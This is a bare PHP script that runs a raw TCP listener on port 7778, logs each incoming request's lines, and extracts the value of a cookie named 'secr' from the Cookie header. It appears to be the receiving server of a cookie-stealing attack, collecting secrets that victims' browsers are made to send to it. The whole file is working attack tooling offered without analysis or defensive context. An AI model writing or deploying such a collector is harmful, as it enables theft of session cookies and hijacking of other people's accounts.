<?php
$socket = stream_socket_server("tcp://0.0.0.0:7778",
$errno, $errstr);
if (!$socket) {
echo "Error socketing! :)";
} else {
while ($conn = stream_socket_accept($socket)) {
echo htmlentities(stream_socket_get_name($conn, true), ENT_QUOTES, 'UTF-8')
.": ";
$lines = '';
do {
$line = fgets($conn);
echo '<!--'. htmlentities($line, ENT_QUOTES, 'UTF-8') . '-->';
$lines .= $line;
ob_flush(); flush();
} while (!feof($conn) && strlen(trim($line))>0);
fclose($conn);
preg_match('/Cookie:.+?secr=([^;]+)(;|)/', $lines, $bb);
echo htmlentities($bb[1], ENT_QUOTES, 'UTF-8').'<br />';
}
fclose($socket);
}?>